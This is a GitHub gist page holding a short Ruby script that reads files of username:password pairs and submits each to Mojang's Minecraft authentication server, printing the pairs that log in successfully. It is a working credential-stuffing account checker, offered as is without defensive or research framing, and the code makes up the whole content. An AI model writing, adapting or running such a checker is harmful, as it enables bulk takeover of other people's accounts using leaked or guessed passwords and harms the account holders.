Skip to content

Instantly share code, notes, and snippets.

@augustt198
Created January 19, 2015 17:58
Show Gist options
  • Save augustt198/cab218c56fb8741b4893 to your computer and use it in GitHub Desktop.
Save augustt198/cab218c56fb8741b4893 to your computer and use it in GitHub Desktop.
require 'httparty'
require 'json'
AUTH_URL = 'https://authserver.mojang.com/authenticate'
accounts = ARGV.flat_map do |arg|
File.read(arg).split("\n").map { |l| l.split ":" }
end
accounts.each do |user, pass|
body = {
agent: {
name: 'Minecraft',
version: 1
},
username: user,
password: pass
}.to_json
headers = {
'Content-Type' => 'application/json'
}
res = HTTParty.post(AUTH_URL, body: body, headers: headers).parsed_response
unless res['error']
puts "[SUCCESS] #{user}:#{pass}"
end
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment